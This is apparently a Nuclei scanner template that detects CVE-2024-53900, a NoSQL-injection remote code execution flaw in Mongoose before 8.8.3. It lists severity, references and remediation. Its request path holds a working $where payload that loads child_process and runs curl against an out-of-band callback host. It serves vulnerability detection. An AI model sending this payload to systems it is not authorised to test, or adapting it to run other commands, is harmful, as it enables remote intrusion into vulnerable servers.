id: CVE-2024-53900 info: name: Mongoose < 8.8.3 - Remote Code Execution author: h4mg severity: critical description: | Mongoose before 8.8.3 can improperly use $where in match, leading to search injection. impact: | Unauthenticated attackers can execute arbitrary code by exploiting NoSQL injection in the $where clause, allowing remote code execution via crafted query parameters. remediation: | Update Mongoose to version 8.8.3 or later to address the NoSQL injection vulnerability. reference: - https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156 - https://github.com/advisories/GHSA-m7xq-9374-9rvx - https://www.youtube.com/watch?v=WX_N1NGPbug - https://github.com/Automattic/mongoose/blob/master/CHANGELOG.md - https://nvd.nist.gov/vuln/detail/CVE-2024-53900 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 9.1 cve-id: CVE-2024-53900 cwe-id: CWE-89 epss-score: 0.03911 epss-percentile: 0.8896 metadata: verified: true max-request: 1 product: mongoose framework: nodejs shodan-query: "Server: Mongoose" tags: cve,cve2024,rce,mongoose,nosql,nodejs,oast,vkev variables: pfield: "author" http: - method: GET path: - "{{BaseURL}}?view[path]={{pfield}}&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('curl {{interactsh-url}}')" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(interactsh_protocol, "http")' - 'contains(interactsh_request, "User-Agent: curl")' condition: and # digest: 490a0046304402201f7f1cbfc300e51c57f052b0af40cf8ec9273bd036d4d0925867717b502fe31e022060a566c98df2fd8a0b3eb3ff181f49853347c7820849960ab80fbf0e4c46385e:922c64590222798bb761d5b6d8e72950